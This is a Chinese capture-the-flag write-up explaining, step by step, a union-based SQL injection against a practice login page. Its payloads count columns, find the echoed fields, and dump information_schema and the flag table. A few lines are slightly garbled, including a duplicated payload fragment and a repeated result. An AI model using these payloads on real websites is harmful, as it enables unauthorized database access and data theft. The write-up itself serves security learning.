这两天闲着没事报名了学校信安和网安组织的网络安全大赛,靠着仅有的一点web知识做了几道web题,现在记录一下其中一道sql注入题的解题思路
首先题面如下
首先通过语句判断有多少个字段:
1' or 1=1 order by 4 # 1' or 1=1 order by 3 #
order by是按by后面的数字或字段名所在列进行排序,如果结果集只有3列,order by4则会报错,故可以用来判断结果集的字段数
第一条语句报错,第二条语句返回
admin 5ef582761f2cafceebdfc8c9ac259cf0
可以得出改表中有三个字段,而显示结果只有两个,且可以看出显示的应该是用户名和密码
之所以要查出有多少个字段,是为了判断结果集中有多少信息(因为页面不会把所有查到的信息显示出来),且我们union select要求两次查询的结果集拥有相同的列数。
故通过union select确定回显在页面的是哪几行的数据
-1' un-1' union select 1,2,3 #
select 1,2,3(可以是其他数字或字符等)会返回一行与select内容对应的结果,且字段名也保持相同
以下为select 2,3,4返回的结果集
union select 1,2,3会返回一行数据,我们即可以通过页面上现实的具体数字来判断页面回显的是哪几行的数据,
uion前需要写一个结果集中不存在的数据(随便猜一下就行),因为如果填写admin的话,会查出来一行结果,而union select是将两次查询的结果集合并成(列数不变,增加行数),在页面只显示一行结果的情况下,则无法看到select 1,2,3返回的结果上述结果返回
2,3
说明页面回显的是结果集中第二三行的数据
那么我们可以通过union select在第二三个数字的位置换成一些函数来获取信息,如:
-1' union select 1,2,database() #
2,babysql
显然babysql就是正在查询的数据库名
有数据库名后则可以查数据库中存在的数据表
-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='babysql')#
group_concat()将group by产生的相同分组的值连接成一个字符串(原本是分行显示),才使得查询结果能一并显示出来
则返回
2 user,flag
有表名后即可查表中的
有表名后即可查表中的字段名,显然flag藏在flag表中
-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='babysql' and table_name='flag')#
则返回
2 user,flag
最后查询flag表中字段名为flag的结果,即可得到flag
-1' union select 1,2,(select group_concat(flag) from flag)#